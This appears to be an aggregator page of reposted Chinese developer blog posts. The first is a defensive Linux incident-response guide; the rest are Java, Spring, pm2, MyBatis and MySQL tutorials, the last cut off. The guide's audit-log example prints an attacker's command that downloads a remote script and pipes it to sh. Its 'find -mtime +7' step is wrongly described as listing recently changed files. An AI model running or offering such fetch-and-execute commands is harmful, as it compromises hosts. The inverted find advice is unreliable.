发表于

Linux环境下处理应急响应事件往往会更加的棘手，因为相比于Windows，Linux没有像Autorun、procexp这样的应急响应利器，也没有统一的应急响应处理流程。所以，这篇文章将会对Linux环境下的应急响应流程进行讲解，并且提供每一个环节中所用到的shell命令，以帮助大家快速、系统化地处理Linux环境下的病毒。

处理Linux应急响应主要分为这4个环节：识别现象-> 清除病毒-> 闭环兜底-> 系统加固，首先从客户场景的主机异常现象出发，

[1]先识别出病毒的可疑现象，

[2]然后定位到具体的病毒进程以及病毒文件，进行清除。

[3]完成前2步还不够，病毒一般会通过一些自启动项及守护程序进行重复感染，所以我们要执行闭环兜底确保病毒不再被创建。

[4]将主机上的病毒项清除干净后，最后就是进行系统加固了，防止病毒从Web再次入侵进来。走完这4个环节，才能算是一个应急响应流程的结束。

)

01 识别现象

第1个环节要求我们通过系统运行状态、安全设备告警，发现主机异常现象，以及确认病毒的可疑行为。

1.1. 系统CPU是否异常

枚举进程，CPU降序排序：

top

)

1.2. 是否存在可疑进程

枚举进程命令行：

ps -aux

)

1.3. 安全网关有无报警

从安全网关报警中识别出威胁是最直接，但确认主机已经感染了病毒只是第一步，接下来得定位，具体是哪个进程在与C&C通信。

)

监控与目标IP通信的进程：

while true; do netstat -antp | grep [ip]; done

)

有时安全网关检测到的不全是恶意IP，还有可能是个域名，这种情况下，域名对应的IP是变化的，我们不能直接用上述方法进行监控。

)

我们可以先在host文件中添加一条规则，将恶意域名重定向到一个随机的IP地址，然后对其进行监控。

)

1.4 有无可疑历史命令

遍历主机历史命令，查找有无恶意命令：

history

)

清除病毒

从第1个环节追溯到的进程信息，将会帮助我们定位到病毒进程&病毒文件，实现清除。

2.1. 结束病毒进程

清除可疑进程的进程链：

ps -elf | grep [pid]

kill -9 [pid]

)

2.2. 删除病毒文件

定位病毒进程对应的文件路径：

ls -al /proc/[pid]/exe

rm -f [exe_path]

)

闭环兜底

Linux下的病毒持久化驻留方式相比于Windows较少，主要以下4种方式。

3.1. 检查是否存在可疑定时任务

枚举定时任务：

crontab -l

)

3.2. 检查是否存在可疑服务

枚举主机所有服务，查看是否有恶意服务：

service –status-all

3.3. 检查系统文件是否被劫持

枚举系统文件夹的文件，按修改事件排序查看7天内被修改过的文件：

1
typescript复制代码find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

3.4. 检查是否存在病毒守护进程

监控守护进程的行为：

lsof -p [pid]

)

strace -tt -T -e trace=all -p $pid

3.5. 扫描是否存在恶意驱动

枚举/扫描系统驱动：

lsmod

)

安装chkrootkit 进行扫描：

1
2
3
4
5
6
bash复制代码wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense

./chkrootkit

安装rkhunter 进行扫描：

1
2
3
4
5
bash复制代码Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

系统加固

最后一个环节往往是大家比较容易遗忘的，Linux平台下90%的病毒是通过网络传播感染的，所以，你的主机之所以会感染病毒，大部分原因也是因为Web安全防护不够，赶紧检查一下。

4.1.修改SSH弱密码

查询log主机登陆日志：

1
dart复制代码grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源IP：

1
css复制代码grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码：

1
swift复制代码grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

SSH爆破是Linux病毒最常用的传播手段，若存在弱密码的主机很容易被其他感染主机SSH爆破成功，从而再次感染病毒。

4.2.添加命令审计

为历史的命令增加登录的IP地址、执行命令时间等信息：

[1] 保存1万条命令：

1
bash复制代码sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

[2] 在/etc/profile的文件尾部添加如下行数配置信息：

1
2
3
4
5
6
7
8
bash复制代码USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

[3] 让配置生效：

source /etc/profile

生成效果：

1
arduino复制代码76  2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

4.3.打上常见Web漏洞补丁

structs2系列RCE漏洞

thinkphp5.X RCE漏洞

Redis未授权访问漏洞

Confluence RCE漏洞（CVE_2019_3396）

Drupal RCE漏洞（CVE-2018-7600）

ThinkPHP RCE漏洞（CVE-2019-9082）

结尾

Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主，由于Linux大多作为服务器暴露在公网，且Web应用的漏洞层出不穷，所以很容易被大范围入侵，如常见的病毒：DDG、systemdMiner、BillGates、watchdogs、XorDDos，在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

上一篇HashMap怎么学（一）我们通过一个简单的例子解释了HashMap的内部结构。

这篇文章我们会在上一篇的例子基础上改进下，给大家解释HashMap的内部数组是怎么扩展的，以及其内部是如何生成链表的。

代码案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
arduino复制代码public static void part2_1() {
		// 步骤一，初始化代码，插入部分12条数据
		Map<Integer, Integer> map = new HashMap<>(20);
		for (int i = 0; i < 12; i++) {
			map.put(i, i);
		}

		// 步骤二，插入第13条数据，触发内部数组长度扩展
		map.put(12, 12);

		// 步骤三，插入特定hash值，触发hash碰撞，生成链表
		for (int i = 1; i < 5; i++) {
			map.put(32 * i, 32 * i);
		}
}

执行完上述代码后HashMap的内部结构变化如图：

HashMap内部结构图2-1

代码解释

  • 步骤一执行完后，HashMap内部会生成一个长度为16的数组，数组的前12位的Node对象的key-value值和数组index值相同（HashMap内key-value键值对数量为12）。
  • 步骤二执行完后，HashMap的内部数组长度变成原来的2倍（32），并且第12位的Node对象的key-value值也为12。这里涉及到HashMap内部数组的扩张机制：

DEFAULT_LOAD_FACTOR默认值是0.75（也可以通过HashMap构造函数传递），表示当HashMap内key-value键值对数量超过内部数组长度0.75时，对内部数组进行扩张。

执行完步骤一后，内部数组长度为16，当key-value键值对数量超过16×0.75=12时内部数组会进行扩张，下面为HashMap部分源码。

1
2
3
4
arduino复制代码    /**
     * The load factor used when none specified in constructor.
     */
    static final float DEFAULT_LOAD_FACTOR = 0.75f;

内部数组长度扩展的长度是原值左移一位，也就是乘以2（newCap = oldCap << 1），下面为HashMap部分源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ini复制代码final Node<K,V>[] resize() {
        Node<K,V>[] oldTab = table;
        int oldCap = (oldTab == null) ? 0 : oldTab.length;
        int oldThr = threshold;
        int newCap, newThr = 0;
        if (oldCap > 0) {
            if (oldCap >= MAXIMUM_CAPACITY) {
                threshold = Integer.MAX_VALUE;
                return oldTab;
            }
            else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
                     oldCap >= DEFAULT_INITIAL_CAPACITY)
                newThr = oldThr << 1; // double threshold
        }
  ......
  Node<K,V>[] newTab = (Node<K,V>[])new Node[newCap];
        table = newTab;
  ......
  • 步骤三执行完后，原内部数组index为0的Node对象变成了一个链表的头结点。

HashMap是通过tab[i = (n - 1) & hash]来定位新的key-value键值对要插入到内部数组的哪个位置的，这时n为内部数组长度32，n-1对应到二进制为00011111，Integer的hashcode值就是它本身的int值，这时hashcode就发生冲突了，都插入到了index为0的位置，组成了一个链表：

00011111&00000000=0

00011111&00100000（32）=0

00011111&01000000（64）=0

00011111&10000000（128）=0

下面为HashMap部分源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
ini复制代码final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
        ........
          for (int binCount = 0; ; ++binCount) {
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
         .......

这篇文章就分享到这里，后续还有HashMap其他文章会陆续发布。

大家如果有问题欢迎在评论区留言一起探讨，同时也可以关注收藏“小西学JAVA”和同名公众号，有文章更新会及时收到通知。

Demo代码位置

gitee.com/xiaoxijava/…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

这是我参与11月更文挑战的第19天，活动详情查看：2021最后一次更文挑战

除了自己实现线程外，springboot本身就提供了通过注解的方式，进行异步任务的执行。下面主要记录一下，在Springboot项目中实现异步任务，以及对异步任务进行封装监控。

1 开启异步支持

想要使用springboot的注解进行异步任务，首先要开启springboot的异步任务支持。通过集成AsyncConfigurer接口，并实现getAsyncExcutor()方法，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
java复制代码package com.springboot.demo.asyncTask.conf;

import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
import org.springframework.context.annotation.Configuration;
import org.springframework.scheduling.annotation.AsyncConfigurer;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;

import java.util.concurrent.Executor;

/**
 * 配置spring boot 多线程支持
 */
@Configuration
@EnableAsync   //开启异步任务支持
public class SpringTaskExecutor implements AsyncConfigurer {

    @Override
    public Executor getAsyncExecutor() {
        ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor();
        taskExecutor.setCorePoolSize(5);
        taskExecutor.setMaxPoolSize(10);
        taskExecutor.setQueueCapacity(20);
        taskExecutor.initialize();
        return taskExecutor;
    }

    @Override
    public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
        return null;
    }
}

通过上面方法，就可以实现Spring boot的异步任务支持。然后只需要在想要进行异步的方法前添加@Async注解就可以了，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java复制代码package com.springboot.demo.asyncTask.service;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;

/**
 * 异步任务执行器
 */
@Component
public class AsyncTaskExecutor {
    private static Logger LOG = LoggerFactory.getLogger(AsyncTaskExecutor.class);
    @Async
    public void executor(AsyncTaskConstructor asyncTaskGenerator, String taskInfo) {
        LOG.info("AsyncTaskExecutor is executing async task:{}", taskInfo);
        asyncTaskGenerator.async();
    }
}

2 异步任务封装监控

2.1 封装思路

提供一个异步任务的管理器，管理器可以实现异步任务的提交、保存任务信息、获取任务信息等功能。

提供一个异步任务的监控器，用于监控异步任务执行状况，并把执行信息保存到缓存中，并记录任务执行时间。

提供一个异步任务的构造器，用于构造异步方法。

提供一个异步任务的执行器，用于执行管理器提交的使用构造器构造的异步方法。

2.2 效果展示

2.2.1 启动异步任务

2.2.2 查看任务状态

2.3 编码实现

2.3.1 conf包

主要是配置springboot的线程池，开启spring boot支持异步支持

2.3.1.1 SpringTaskExcutor.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
java复制代码package com.emcc.hiacloud.analytics.asynctask.conf;

import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
import org.springframework.context.annotation.Configuration;
import org.springframework.scheduling.annotation.AsyncConfigurer;
import org.springframework.scheduling.annotation.EnableAsync;
import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;

import java.util.concurrent.Executor;

/**
 * 配置spring boot 多线程支持
 */
@Configuration
@EnableAsync   //开启异步任务支持
public class SpringTaskExecutor implements AsyncConfigurer {
    @Override
    public Executor getAsyncExecutor() {
        ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor();
        taskExecutor.setCorePoolSize(5);
        taskExecutor.setMaxPoolSize(10);
        taskExecutor.setQueueCapacity(20);
        taskExecutor.initialize();
        return taskExecutor;
    }

    @Override
    public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
        return null;
    }
}

2.3.2 entity包

主要存放TaskInfo实例类用于保存任务信息，TaskStatusEnmu枚举类用来存放任务状态。

2.3.2.1 TaskInfo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
typescript复制代码package com.emcc.hiacloud.analytics.asynctask.entity;


import java.util.Date;

/**
 * 任务信息
 */
public class TaskInfo {
    private String taskId;
    private TaskStatusEnum status;
    private Date startTime;
    private Date endTime;
    private String totalTime;

    public TaskStatusEnum getStatus() {
        return status;
    }

    public void setStatus(TaskStatusEnum status) {
        this.status = status;
    }

    public void setTotalTime(String totalTime) {
        this.totalTime = totalTime;
    }

    public String getTaskId() {
        return taskId;
    }

    public void setTaskId(String taskId) {
        this.taskId = taskId;
    }

    public Date getStartTime() {
        return startTime;
    }

    public void setStartTime(Date startTime) {
        this.startTime = startTime;
    }

    public Date getEndTime() {
        return endTime;
    }

    public void setEndTime(Date endTime) {
        this.endTime = endTime;
    }

    public String getTotalTime() {
        return totalTime;
    }

    public void setTotalTime() {
        this.totalTime = (this.endTime.getTime() - this.startTime.getTime()) + "ms";
    }
}

2.3.2.2 TaskStatusEnum.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
arduino复制代码package com.emcc.hiacloud.analytics.asynctask.entity;

/**
 * 任务状态枚举
 */
public enum TaskStatusEnum {

    STARTED(1, "任务已经启动"),
    RUNNING(0, "任务正在运行"),
    SUCCESS(2, "任务执行成功"),
    FAILED(-2, "任务执行失败");
    private int state;
    private String stateInfo;

    TaskStatusEnum(int state, String stateInfo) {
        this.state = state;
        this.stateInfo = stateInfo;
    }

    public int getState() {
        return state;
    }

    public String getStateInfo() {
        return stateInfo;
    }

}

2.3.3 manager包

存放任务的管理类和监控类

2.3.3.1 AsyncTaskManager.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
typescript复制代码package com.emcc.hiacloud.analytics.asynctask.manager;


import com.emcc.hiacloud.analytics.asynctask.entity.TaskInfo;
import com.emcc.hiacloud.analytics.asynctask.entity.TaskStatusEnum;
import com.emcc.hiacloud.analytics.asynctask.service.AsyncTaskConstructor;
import com.emcc.hiacloud.analytics.asynctask.service.AsyncTaskExecutor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;

/**
 * 异步任务管理器
 */
@Component
public class AsyncTaskManager {
    private Map<String, TaskInfo> taskContainer = new HashMap<>(16);
    @Autowired
    AsyncTaskExecutor asyncTaskExecutor;


    /**
     * 初始化任务
     *
     * @return taskInfo
     */
    public TaskInfo initTask() {
        TaskInfo taskInfo = new TaskInfo();
        taskInfo.setTaskId(getTaskId());
        taskInfo.setStatus(TaskStatusEnum.STARTED);
        taskInfo.setStartTime(new Date());
        setTaskInfo(taskInfo);
        return taskInfo;
    }

    /**
     * 初始化任务
     * @param asyncTaskConstructor 异步任务构造器
     * @return taskInfo
     */
    public TaskInfo submit(AsyncTaskConstructor asyncTaskConstructor) {
        TaskInfo info = initTask();
        String taskId = info.getTaskId();
        asyncTaskExecutor.executor(asyncTaskConstructor,taskId);
        return info;
    }

    /**
     * 保存任务信息
     *
     * @param taskInfo 任务信息
     */
    public void setTaskInfo(TaskInfo taskInfo) {
        taskContainer.put(taskInfo.getTaskId(), taskInfo);
    }

    /**
     * 获取任务信息
     *
     * @param taskId 任务ID
     * @return
     */
    public TaskInfo getTaskInfo(String taskId) {
        return taskContainer.get(taskId);
    }

    /**
     * 获取任务状态
     *
     * @param taskId 任务ID
     * @return
     */
    public TaskStatusEnum getTaskStatus(String taskId) {
        return getTaskInfo(taskId).getStatus();
    }

    /**
     * 生成任务ID
     *
     * @return taskId
     */
    public String getTaskId() {
        return UUID.randomUUID().toString();
    }
}

2.3.3.2 AsyncTaskMonitor.java

异步任务的监控主要是利用了spring的AOP面向切面，在异步方法的执行前和执行后进行监控，判断任务状态，并记录任务信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
ini复制代码package com.emcc.hiacloud.analytics.asynctask.manager;


import com.emcc.hiacloud.analytics.asynctask.entity.TaskInfo;
import com.emcc.hiacloud.analytics.asynctask.entity.TaskStatusEnum;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import java.util.Date;

/**
 * 异步任务监控
 */
@Component
@Aspect
public class AsyncTaskMonitor {
    @Autowired
    AsyncTaskManager manager;
    private static Logger LOG = LoggerFactory.getLogger(AsyncTaskMonitor.class);

    @Around("execution(* com.emcc.hiacloud.analytics.asynctask.service.AsyncTaskExecutor.*(..))")
    public void taskHandle(ProceedingJoinPoint pjp) {
        //获取taskId
        String taskId = pjp.getArgs()[1].toString();
        //获取任务信息
        TaskInfo taskInfo = manager.getTaskInfo(taskId);
        LOG.info("AsyncTaskMonitor is monitoring async task:{}", taskId);
        taskInfo.setStatus(TaskStatusEnum.RUNNING);
        manager.setTaskInfo(taskInfo);
        TaskStatusEnum status = null;
        try {
            pjp.proceed();
            status = TaskStatusEnum.SUCCESS;
        } catch (Throwable throwable) {
            status = TaskStatusEnum.FAILED;
            LOG.error("AsyncTaskMonitor:async task {} is failed.Error info:{}", taskId, throwable.getMessage());
        }
        taskInfo.setEndTime(new Date());
        taskInfo.setStatus(status);
        taskInfo.setTotalTime();
        manager.setTaskInfo(taskInfo);
    }
}

2.3.4 service包

主要存放异步任务的方法构造器和执行器。

2.3.4.1 AsyncTaskConstructor

通过该接口可以构建想要实现的异步方法。只要new 一下接口实例，然后重写async()方法即可。

1
2
3
4
5
6
7
8
csharp复制代码package com.emcc.hiacloud.analytics.asynctask.service;

/**
 * 异步任务构造器
 */
public interface AsyncTaskConstructor {
    public void async();
}

2.3.4.2 AsyncTaskExecutor.java 异步任务执行器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java复制代码package com.emcc.hiacloud.analytics.asynctask.service;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.scheduling.annotation.Async;
import org.springframework.stereotype.Component;

/**
 * 异步任务执行器
 */
@Component
public class AsyncTaskExecutor {
    private static Logger LOG = LoggerFactory.getLogger(AsyncTaskExecutor.class);
    @Async
    public void executor(AsyncTaskConstructor asyncTaskGenerator, String taskInfo) {
        LOG.info("AsyncTaskExecutor is executing async task:{}", taskInfo);
        asyncTaskGenerator.async();
    }
}

3 应用

实现两个接口，一个是开启一个异步任务，另一个是查看任务状态。

想要使用我们刚才分装好的异步任务，只需要将AsyncTaskManager注入到程序中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
kotlin复制代码package com.emcc.hiacloud.analytics.orchestrations.controller;

import com.emcc.hiacloud.analytics.asynctask.entity.TaskInfo;
import com.emcc.hiacloud.analytics.asynctask.manager.AsyncTaskManager;
import com.emcc.hiacloud.analytics.common.rest.RestMessage;
import com.emcc.hiacloud.analytics.common.util.RestMessageUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;


@RestController
@RequestMapping(value = "/api/v1/asynctask")
public class AsyncTaskController {
    //注入异步任务管理器
    @Autowired
    AsyncTaskManager asyncTaskManager;

    @RequestMapping(value = "/startTask", method = RequestMethod.GET)
    public RestMessage startAsyncTask() {
        //调用任务管理器中的submit去提交一个异步任务
        TaskInfo taskInfo = asyncTaskManager.submit(() -> {
            System.out.println("__________");
            try {
                //模拟异步，睡眠6秒
                Thread.sleep(30000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            System.out.println("__________");
        });
        return RestMessageUtil.objectToRestMessage(taskInfo);
    }

    @RequestMapping(value = "/getTaskStatus", method = RequestMethod.GET)
    public RestMessage getTaskStatus(
            @RequestParam("taskId") String taskId) {
        return RestMessageUtil.objectToRestMessage(asyncTaskManager.getTaskInfo(taskId));
    }
}

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

「这是我参与11月更文挑战的第26天，活动详情查看：2021最后一次更文挑战」

Java状态模式

在状态模式(State Pattern)中，类的行为是基于它的状态改变的。这种类型的设计模式属于行为型模式。

在状态模式中，我们创建表示各种状态的对象和一个行为随着状态对象改变而改变的 context 对象。

介绍

意图：允许对象在内部状态发生改变时改变它的行为，对象看起来好像修改了它的类。

主要解决：对象的行为依赖于它的状态(属性)，并且可以根据它的状态改变而改变它的相关行为。

何时使用：代码中包含大量与对象状态有关的条件语句。

如何解决：将各种具体的状态类抽象出来。

关键代码：通常命令模式的接口中只有一个方法。而状态模式的接口中有一个或者多个方法。而且，状态模式的实现类的方法，一般返回值，或者是改变实例变量的值。也就是说，状态模式一般和对象的状态有关。实现类的方法有不同的功能，覆盖接口中的方法。状态模式和命令模式一样，也可以用于消除 if…else 等条件选择语句。

应用实例： ① 打篮球的时候运动员可以有正常状态、不正常状态和超常状态。 ② 曾侯乙编钟中，’钟是抽象接口’,’钟A’等是具体状态，’曾侯乙编钟’是具体环境(Context)。

优点： ① 封装了转换规则。 ② 枚举可能的状态，在枚举状态之前需要确定状态种类。 ③ 将所有与某个状态有关的行为放到一个类中，并且可以方便地增加新的状态，只需要改变对象状态即可改变对象的行为。 ④ 允许状态转换逻辑与状态对象合成一体，而不是某一个巨大的条件语句块。 ⑤ 可以让多个环境对象共享一个状态对象，从而减少系统中对象的个数。

缺点： ① 状态模式的使用必然会增加系统类和对象的个数。 ② 状态模式的结构与实现都较为复杂，如果使用不当将导致程序结构和代码的混乱。 ③ 状态模式对”开闭原则”的支持并不太好，对于可以切换状态的状态模式，增加新的状态类需要修改那些负责状态转换的源代码，否则无法切换到新增状态，而且修改某个状态类的行为也需修改对应类的源代码。

使用场景： ① 行为随状态改变而改变的场景。 ② 条件、分支语句的代替者。

注意事项：在行为受状态约束的时候使用状态模式，而且状态不超过 5 个。

实现

我们将创建一个 State 接口和实现了 State 接口的实体状态类。Context 是一个带有某个状态的类。

StatePatternDemo，我们的演示类使用 Context 和状态对象来演示 Context 在状态改变时的行为变化。

步骤 1

创建一个接口。

1
2
3
csharp复制代码public interface State {
   public void doAction(Context context);
}

步骤 2

创建实现接口的实体类。

1
2
3
4
5
6
7
8
9
10
11
typescript复制代码public class StartState implements State {
 
   public void doAction(Context context) {
      System.out.println("Player is in start state");
      context.setState(this); 
   }
 
   public String toString(){
      return "Start State";
   }
}
1
2
3
4
5
6
7
8
9
10
11
typescript复制代码public class StopState implements State {
 
   public void doAction(Context context) {
      System.out.println("Player is in stop state");
      context.setState(this); 
   }
 
   public String toString(){
      return "Stop State";
   }
}

步骤 3

创建 Context 类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csharp复制代码public class Context {
   private State state;
 
   public Context(){
      state = null;
   }
 
   public void setState(State state){
      this.state = state;     
   }
 
   public State getState(){
      return state;
   }
}

步骤 4

使用 Context 来查看当状态 State 改变时的行为变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ini复制代码public class StatePatternDemo {
   public static void main(String[] args) {
      Context context = new Context();
 
      StartState startState = new StartState();
      startState.doAction(context);
 
      System.out.println(context.getState().toString());
 
      StopState stopState = new StopState();
      stopState.doAction(context);
 
      System.out.println(context.getState().toString());
   }
}

步骤 5

执行程序，输出结果：

1
2
3
4
vbnet复制代码Player is in start state
Start State
Player is in stop state
Stop State

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于
一、问题简介

有多个 Node.js 进程需要一起管理时，各自需要的参数也不同时，创建一个配置文件来管理是最好的方案。

二、解决方案
1、生成基础版本配置文件
  • pm2 init simple ：可以生成基础版本的配置文件：ecosystem.config.js
1
2
3
4
5
6
7
js复制代码// ecosystem.config.js
module.exports = {
    apps: [{
        name: "app1",
        script: "./app.js"
    }]
}
2、生成复杂版本的配置文件
  • pm2 init 等同于 pm2 ecosystem ，可以生成带有 deploy 属性的配置文件：ecosystem.config.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
js复制代码module.exports = {
    apps: [{
        script: 'index.js',
        watch: '.'
    }, {
        script: './service-worker/',
        watch: ['./service-worker']
    }],

    deploy: {
        production: {
            user: 'SSH_USERNAME',
            host: 'SSH_HOSTMACHINE',
            ref: 'origin/master',
            repo: 'GIT_REPOSITORY',
            path: 'DESTINATION_PATH',
            'pre-deploy-local': '',
            'post-deploy': 'npm install && pm2 reload ecosystem.config.js --env production',
            'pre-setup': ''
        }
    }
};
3、使用配置文件
  • 启动、停止、重启、重载、删除配置文件中所有项目
1
2
3
4
5
shell复制代码pm2 start ecosystem.config.js
pm2 stop ecosystem.config.js
pm2 restart ecosystem.config.js
pm2 reload ecosystem.config.js
pm2 delete ecosystem.config.js
  • 启动指定应用
1
2
shell复制代码pm2 start   ecosystem.config.js --only api-app
pm2 start 	ecosystem.config.js --only "api-app,worker-app"
三、参考文档

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

MyBatis使用注解开发

这是我参与11月更文挑战的第26天，活动详情查看：2021最后一次更文挑战

背景：在MyBatis层面上现在为了简化代码，提高程序的简洁性，所以有了注解的开发。本文主要讲解使用注解实现简单的增删改查。使用也是非常的简单。
Sql的注解主要为以下四种：

1.@Insert 2.@Delete 3.@Update 4.@Select 使用注解开发的话，我们不再需要UserMapper.xml配置文件了，只需要核心配置文件 mybatis-config.xml文件中绑定接口，以往 是注册mapper.xml文件。但是在实际的开发中还是建议使用Mapper.xml文件

  1. 注解在接口上实现

编写接口，并在接口上添加注解，在注解里书写sql语句

1
2
3
java复制代码//使用注解查询所有用户
    @Select("select * from users")
    List<User> getUserAll();
  1. 需要在核心配置文件中绑定接口
1
2
3
4
xml复制代码<!--    绑定接口-->
    <mappers>
        <mapper class="dao.UserDao"/>
    </mappers>
  1. 测试类
1
2
3
4
5
6
7
8
9
10
11
java复制代码    //使用注解查询所有用户
    @Test
    public void getUserAll(){
        SqlSession sqlSession = Mybatisutil.getSqlSession();
        UserDao mapper = sqlSession.getMapper(UserDao.class);
        List<User> userAll = mapper.getUserAll();
        for (User user : userAll) {
            System.out.println(user);
        }
        sqlSession.close();
    }

本质：反射机制实现

底层：动态代理

使用注解进行最简单的增删改查

我们可以在工具类创建的时候实现自动提交事务

1
2
3
java复制代码public static SqlSession getSqlSession(){
        return sqlSessionFactory.openSession(true);
    }

编写接口，增加注解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java复制代码   @Select("select * from users")
    List<User> getUserAll();

    //使用注解查询指定id用户
    //方法存在多个参数的时候，所有参数前面必须加上@Param("")注解
    @Select("select * from users where id = #{ids}")
    User getUserByIds(@Param("ids") int id);

    //使用注解添加一个用户
    @Insert("insert into users (id,username,password) value (#{id},#{username},#{password})")
    int addUsers(User user);

    //使用注解修改用户
    @Update("update users set username=#{username},password=#{password}  where id=#{id};")
    int updateUser2(User user);

    //使用注解删除一个用户
    @Delete("delete from firend_mq.users where id=#{ids}")
    int deleteUser2(@Param("ids") int id);

注意点：

我们必须要将接口绑定到核心配置文件mybatis-config.xml中

关于@Param()注解

  • 基本类型的参数或者String类型，需要加上
  • 引用类型不需要加
  • 如果只有一个基本类型的话，可以忽略，但是建议都加上
  • 我们在sql中引用的就是我们在@Param()中设定的属性名

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

MySQL架构

逻辑结构

简版SQL执行流程如下图所示

image.png
MySQL的逻辑架构主要分为server层和存储引擎层。server层主要分为：连接器、解析器、优化器、查询缓存。

  • 连接器：主要作用就是用户认证，给用户创建连接并使用连接池维护连接。
  • 查询缓存：建立连接之后，就可以进行SQL操作了，如果该SQL语句在查询缓存中可以匹配到，则不需要找后面的模块了，但是查询缓存不建议使用，查询缓存中缓存的记录，如果对于的表发生写操作，那么这些记录都会从缓存中删除，在MySQL8以后，该功能直接去掉了，在查询缓存中，key就是SQL语句，value就是对应的查询结果。
  • 解析器：词法分析，语法解析
+ 词法解析：根据空格将SQL语句拆分，拆分出来的SQL关键字和非关键字（表、列）。
